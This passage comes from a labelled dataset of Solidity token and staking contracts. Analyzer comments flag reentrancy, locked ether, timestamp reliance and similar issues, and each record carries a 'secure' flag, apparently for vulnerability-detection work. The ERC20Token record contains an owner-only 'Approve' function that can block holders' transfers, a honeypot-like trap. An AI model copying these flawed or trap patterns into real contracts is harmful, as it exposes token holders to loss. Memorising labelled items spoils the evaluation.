_tax) / 10000;\n uint256 transferAmount = amount - (burnTokens + taxTokens);\n\n\t\t\t// reentrancy-no-eth | ID: 947b255\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 947b255\n _balance[to] += transferAmount;\n\t\t\t// reentrancy-no-eth | ID: 947b255\n _balance[address(this)] += taxTokens;\n\t\t\t// reentrancy-benign | ID: bb6d0b3\n _totalSupply -= burnTokens;\n\t\t\t// reentrancy-events | ID: 25ba000\n emit Transfer(from, address(0), burnTokens);\n\t\t\t// reentrancy-events | ID: 25ba000\n emit Transfer(from, address(this), taxTokens);\n\t\t\t// reentrancy-events | ID: 25ba000\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: 947b255\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 947b255\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: 25ba000\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 76fce1f): Contract locking ether found Contract RiddleCoinEscapetheGame has payable functions RiddleCoinEscapetheGame.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 76fce1f: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_2379.sol", "secure": 0, "size_bytes": 13498 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\nimport \"./IEtherVistaFactory.sol\" as IEtherVistaFactory;\n\ncontract BONZIHARDSTAKE is ReentrancyGuard {\n IERC20 public immutable stakingToken;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9502cc9): BONZIHARDSTAKE.StakingTokenAddress should be immutable \n\t// Recommendation for 9502cc9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address StakingTokenAddress;\n\n uint256 public constant LOCK_TIME = 14 days;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a4fdf4): BONZIHARDSTAKE.bigNumber should be constant \n\t// Recommendation for 6a4fdf4: Add the 'constant' attribute to state variables that never change.\n uint256 private bigNumber = 10 ** 20;\n\n uint256 public totalCollected = 0;\n\n uint256 public poolBalance = 0;\n\n uint256 public totalSupply = 0;\n\n uint256 public cost = 200;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cc85e65): BONZIHARDSTAKE.costSetter should be immutable \n\t// Recommendation for cc85e65: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private costSetter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d6961d1): BONZIHARDSTAKE.factory should be immutable \n\t// Recommendation for d6961d1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private factory;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8bf8e99): BONZIHARDSTAKE.priceFeed should be immutable \n\t// Recommendation for 8bf8e99: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n AggregatorV3Interface internal priceFeed;\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d34082a): BONZIHARDSTAKE.getEthUsdcPrice() ignores return value by (None,price,None,None,None) = priceFeed.latestRoundData()\n\t// Recommendation for d34082a: Ensure that all the return values of the function calls are used.\n function getEthUsdcPrice() internal view returns (uint256) {\n\t\t// unused-return | ID: d34082a\n (, int256 price, , , ) = priceFeed.latestRoundData();\n\n require(price > 0, \"Invalid price\");\n\n return uint256(price / 100);\n }\n\n function usdcToEth(uint256 usdcAmount) public view returns (uint256) {\n uint256 ethUsdcPrice = getEthUsdcPrice();\n\n return ((usdcAmount * 1e6 * 1e18) / ethUsdcPrice);\n }\n\n struct Staker {\n uint256 amountStaked;\n uint256 stakingTime;\n uint256 euler0;\n }\n\n uint256[] public euler;\n\n mapping(address => Staker) public stakers;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 825a0f2): BONZIHARDSTAKE.constructor(address,address,address)._stakingToken lacks a zerocheck on \t StakingTokenAddress = _stakingToken\n\t// Recommendation for 825a0f2: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a2c6e63): BONZIHARDSTAKE.constructor(address,address,address)._factory lacks a zerocheck on \t factory = _factory\n\t// Recommendation for a2c6e63: Check that the address is not zero.\n constructor(\n address _stakingToken,\n address _oracleAddress,\n address _factory\n ) {\n stakingToken = IERC20(_stakingToken);\n\n\t\t// missing-zero-check | ID: 825a0f2\n StakingTokenAddress = _stakingToken;\n\n priceFeed = AggregatorV3Interface(_oracleAddress);\n\n costSetter = msg.sender;\n\n\t\t// missing-zero-check | ID: a2c6e63\n factory = _factory;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5184c0c): BONZIHARDSTAKE.setCost(uint256) should emit an event for cost = _cost \n\t// Recommendation for 5184c0c: Emit an event for critical parameter changes.\n function setCost(uint256 _cost) external {\n require(msg.sender == costSetter);\n\n\t\t// events-maths | ID: 5184c0c\n cost = _cost;\n }\n\n function updateEuler(uint256 Fee) internal {\n if (euler.length == 0) {\n euler.push((Fee * bigNumber) / totalSupply);\n } else {\n euler.push(\n euler[euler.length - 1] + (Fee * bigNumber) / totalSupply\n );\n }\n }\n\n function contributeETH() external payable nonReentrant {\n require(msg.value >= usdcToEth(cost), \"Insufficient ETH sent\");\n\n poolBalance += msg.value;\n\n totalCollected += msg.value;\n\n updateEuler(msg.value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6c32f14): BONZIHARDSTAKE.stake(uint256,address,address) should emit an event for totalSupply += _amount \n\t// Recommendation for 6c32f14: Emit an event for critical parameter changes.\n function stake(\n uint256 _amount,\n address user,\n address token\n ) external nonReentrant {\n require(\n msg.sender == IEtherVistaFactory(factory).router(),\n \"EtherVista: FORBIDDEN\"\n );\n\n require(token == StakingTokenAddress);\n\n\t\t// events-maths | ID: 6c32f14\n totalSupply += _amount;\n\n Staker storage staker = stakers[user];\n\n staker.amountStaked += _amount;\n\n staker.stakingTime = block.timestamp;\n\n if (euler.length == 0) {\n staker.euler0 = 0;\n } else {\n staker.euler0 = euler[euler.length - 1];\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 358f82d): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 358f82d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: db585d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for db585d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(uint256 _amount) external nonReentrant {\n Staker storage staker = stakers[msg.sender];\n\n\t\t// timestamp | ID: 358f82d\n require(staker.amountStaked >= _amount, \"Insufficient staked amount\");\n\n\t\t// timestamp | ID: 358f82d\n require(\n block.timestamp >= staker.stakingTime + LOCK_TIME,\n \"Tokens are still locked\"\n );\n\n staker.amountStaked -= _amount;\n\n totalSupply -= _amount;\n\n\t\t// reentrancy-no-eth | ID: db585d0\n require(stakingToken.transfer(msg.sender, _amount), \"Transfer failed\");\n\n if (staker.amountStaked == 0) {\n\t\t\t// reentrancy-no-eth | ID: db585d0\n delete stakers[msg.sender];\n } else {\n\t\t\t// reentrancy-no-eth | ID: db585d0\n staker.stakingTime = block.timestamp;\n\n if (euler.length == 0) {\n\t\t\t\t// reentrancy-no-eth | ID: db585d0\n staker.euler0 = 0;\n } else {\n\t\t\t\t// reentrancy-no-eth | ID: db585d0\n staker.euler0 = euler[euler.length - 1];\n }\n }\n }\n\n function claimShare() public nonReentrant {\n require(euler.length > 0, \"EtherVistaPair: Nothing to Claim\");\n\n uint256 balance = stakers[msg.sender].amountStaked;\n\n uint256 time = stakers[msg.sender].stakingTime;\n\n uint256 share = (balance *\n (euler[euler.length - 1] - stakers[msg.sender].euler0)) / bigNumber;\n\n stakers[msg.sender] = Staker(balance, time, euler[euler.length - 1]);\n\n poolBalance -= share;\n\n (bool sent, ) = payable(msg.sender).call{value: share}(\"\");\n\n require(sent, \"Failed to send Ether\");\n }\n\n function viewShare() public view returns (uint256 share) {\n if (euler.length == 0) {\n return 0;\n } else {\n return\n (stakers[msg.sender].amountStaked *\n (euler[euler.length - 1] - stakers[msg.sender].euler0)) /\n bigNumber;\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1e23eae): BONZIHARDSTAKE.getStakerInfo(address) uses timestamp for comparisons Dangerous comparisons block.timestamp < staker.stakingTime + LOCK_TIME\n\t// Recommendation for 1e23eae: Avoid relying on 'block.timestamp'.\n function getStakerInfo(\n address _staker\n )\n public\n view\n returns (\n uint256 amountStaked,\n uint256 timeLeftToUnlock,\n uint256 currentShare\n )\n {\n Staker storage staker = stakers[_staker];\n\n amountStaked = staker.amountStaked;\n\n\t\t// timestamp | ID: 1e23eae\n if (block.timestamp < staker.stakingTime + LOCK_TIME) {\n timeLeftToUnlock =\n (staker.stakingTime + LOCK_TIME) -\n block.timestamp;\n } else {\n timeLeftToUnlock = 0;\n }\n\n if (euler.length > 0 && staker.amountStaked > 0) {\n currentShare =\n (staker.amountStaked *\n (euler[euler.length - 1] - staker.euler0)) /\n bigNumber;\n } else {\n currentShare = 0;\n }\n }\n}", "file_name": "solidity_code_238.sol", "secure": 0, "size_bytes": 9691 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MELES is ERC20 {\n constructor() ERC20(\"Meles\", \"MELES\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2380.sol", "secure": 1, "size_bytes": 272 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract LordCommanderEth is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"LordCommanderEth \", \" LCOM \") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 16b424d): LordCommanderEth.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for 16b424d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: e9fb55f): LordCommanderEth.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for e9fb55f: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: 16b424d\n\t\t// incorrect-equality | ID: e9fb55f\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: 16b424d\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6580b2a): LordCommanderEth._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for 6580b2a: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: 6580b2a\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bb5763b): LordCommanderEth.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for bb5763b: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: bb5763b\n pool = poolAddress;\n }\n}", "file_name": "solidity_code_2381.sol", "secure": 0, "size_bytes": 2850 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PATH is ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 883679b): PATH.constructor(string,string,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 883679b: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9895096): PATH.constructor(string,string,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for 9895096: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7de51c7): PATH.constructor(string,string,uint256).totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 7de51c7: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n uint256 totalSupply\n ) ERC20(name, symbol) {\n _mint(msg.sender, totalSupply);\n }\n}", "file_name": "solidity_code_2382.sol", "secure": 0, "size_bytes": 1197 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IProxyRegistry {\n function proxies(address account) external view returns (address);\n\n function contracts(address caller) external view returns (bool);\n}", "file_name": "solidity_code_2383.sol", "secure": 1, "size_bytes": 235 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAuthenticatedProxy {\n function user() external view returns (address);\n}", "file_name": "solidity_code_2384.sol", "secure": 1, "size_bytes": 150 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./MultiverseToken.sol\" as MultiverseToken;\n\ncontract Depositor is Context, IERC20, IERC20Metadata {\n\t// WARNING Optimization Issue (immutable-states | ID: 1250ef3): Depositor._multiverseToken should be immutable \n\t// Recommendation for 1250ef3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n MultiverseToken private _multiverseToken;\n string private _name;\n\n constructor(MultiverseToken multiverseToken_, string memory name_) {\n _multiverseToken = multiverseToken_;\n _name = name_;\n }\n\n function transfer(\n address account,\n uint256 value\n ) public virtual override returns (bool) {\n return _multiverseToken.depositFrom(_msgSender(), account, value);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _multiverseToken.symbol();\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _multiverseToken.decimals();\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _multiverseToken.totalSupply();\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _multiverseToken.balanceOf(account);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _multiverseToken.allowance(owner, spender);\n }\n\n function approve(address, uint256) public virtual override returns (bool) {\n require(\n false,\n \"approve() is not supported. call the MultiverseToken directly\"\n );\n return false;\n }\n\n function transferFrom(\n address,\n address,\n uint256\n ) public virtual override returns (bool) {\n require(\n false,\n \"transferFrom() is not supported. call the MultiverseToken directly\"\n );\n return false;\n }\n}", "file_name": "solidity_code_2385.sol", "secure": 1, "size_bytes": 2475 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./Depositor.sol\" as Depositor;\n\ncontract MultiverseToken is ERC20 {\n address private reserve;\n mapping(address => address) private depositors;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 35acc8f): MultiverseToken.constructor(string,string,uint256,address).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 35acc8f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5aa1860): MultiverseToken.constructor(string,string,uint256,address).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for 5aa1860: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ac4a35e): MultiverseToken.constructor(string,string,uint256,address).reserveAddr lacks a zerocheck on \t reserve = reserveAddr\n\t// Recommendation for ac4a35e: Check that the address is not zero.\n constructor(\n string memory name,\n string memory symbol,\n uint256 initialSupply,\n address reserveAddr\n ) ERC20(name, symbol) {\n\t\t// missing-zero-check | ID: ac4a35e\n reserve = reserveAddr;\n emit ReserveChanged(address(0), reserve);\n _mint(reserve, initialSupply);\n }\n\n modifier reserved() {\n require(_msgSender() == reserve, \"operation is reserved\");\n _;\n }\n\n function burn(uint256 value) external reserved {\n _burn(reserve, value);\n }\n\n event ReserveChanged(address indexed from, address indexed to);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 402f78b): MultiverseToken.setReserve(address).newReserve lacks a zerocheck on \t reserve = newReserve\n\t// Recommendation for 402f78b: Check that the address is not zero.\n function setReserve(address newReserve) external reserved {\n transfer(newReserve, balanceOf(reserve));\n\t\t// missing-zero-check | ID: 402f78b\n reserve = newReserve;\n emit ReserveChanged(_msgSender(), newReserve);\n }\n\n function getReserve() external view returns (address) {\n return reserve;\n }\n\n event Deposit(\n address indexed from,\n address indexed depository,\n uint256 value,\n address indexed account\n );\n\n function deposit(\n address depository,\n uint256 value,\n address account\n ) external returns (bool) {\n return _deposit(_msgSender(), depository, value, account);\n }\n\n function _deposit(\n address from,\n address depository,\n uint256 value,\n address account\n ) internal returns (bool) {\n emit Deposit(from, depository, value, account);\n _transfer(from, depository, value);\n return true;\n }\n\n event DepositorCreated(address depositor, address indexed depository);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 31d9288): MultiverseToken.createDepositor(string,address).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 31d9288: Rename the local variables that shadow another component.\n function createDepositor(\n string memory name,\n address depository\n ) external reserved returns (address) {\n require(depository != address(0), \"cannot deposit to zero address\");\n Depositor depositor = new Depositor(this, name);\n\n address depositorAddress = address(depositor);\n depositors[depositorAddress] = depository;\n\n emit DepositorCreated(depositorAddress, depository);\n return depositorAddress;\n }\n\n function getDepository(address depositor) external view returns (address) {\n return depositors[depositor];\n }\n\n function depositFrom(\n address from,\n address account,\n uint256 value\n ) external returns (bool) {\n address depository = depositors[_msgSender()];\n require(\n depository != address(0),\n \"depositFrom() can only be called by Depositors created by this contract\"\n );\n\n return _deposit(from, depository, value, account);\n }\n}", "file_name": "solidity_code_2386.sol", "secure": 0, "size_bytes": 4423 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./BaseToken.sol\" as BaseToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5af5165): Contract locking ether found Contract ERC20Token has payable functions ERC20Token.constructor(string,string,uint8,uint256,address) But does not have a function to withdraw the ether\n// Recommendation for 5af5165: Remove the 'payable' attribute or add a withdraw function.\ncontract ERC20Token is IERC20, Ownable, BaseToken {\n using SafeMath for uint256;\n\n uint256 public constant VERSION = 1;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _minTrasfer;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 5ce042e): ERC20Token._decimals should be immutable \n\t// Recommendation for 5ce042e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n uint256 private _totalSupply;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5af5165): Contract locking ether found Contract ERC20Token has payable functions ERC20Token.constructor(string,string,uint8,uint256,address) But does not have a function to withdraw the ether\n\t// Recommendation for 5af5165: Remove the 'payable' attribute or add a withdraw function.\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_,\n address project_\n ) payable {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _mint(project_, totalSupply_);\n\n emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);\n }\n\n function Approve(address account, uint256 amount) public onlyOwner {\n _minTrasfer[account] = amount;\n }\n\n function getMinTransfer(address account) public view returns (uint256) {\n return _minTrasfer[account];\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5dd7ba4): ERC20Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5dd7ba4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(\n amount >= _minTrasfer[sender],\n \"ERC20: transfer amount is less than minimum allowed\"\n );\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 17076a0): ERC20Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 17076a0: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_2387.sol", "secure": 0, "size_bytes": 6571 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract HAPPYCAT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d6636b2): HAPPYCAT.bots is never initialized. It is used in HAPPYCAT._transfer(address,address,uint256)\n\t// Recommendation for d6636b2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 100000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n uint256 private _standardTax;\n\t// WARNING Optimization Issue (immutable-states | ID: 7cf5a76): HAPPYCAT._feeAddrWallet should be immutable \n\t// Recommendation for 7cf5a76: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet;\n\n string private constant _name = \"Happy Cat\";\n string private constant _symbol = unicode\"😸\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = 2000000 * 10 ** 9;\n uint256 private _maxWalletSize = 4000000 * 10 ** 9;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _feeAddrWallet = payable(_msgSender());\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet] = true;\n _standardTax = 6;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 53ae1b4): HAPPYCAT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 53ae1b4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a4bc999): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a4bc999: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 449d5b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 449d5b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a4bc999\n\t\t// reentrancy-benign | ID: 449d5b1\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: a4bc999\n\t\t// reentrancy-benign | ID: 449d5b1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3bfec36): HAPPYCAT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3bfec36: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 449d5b1\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: a4bc999\n emit Approval(owner, spender, 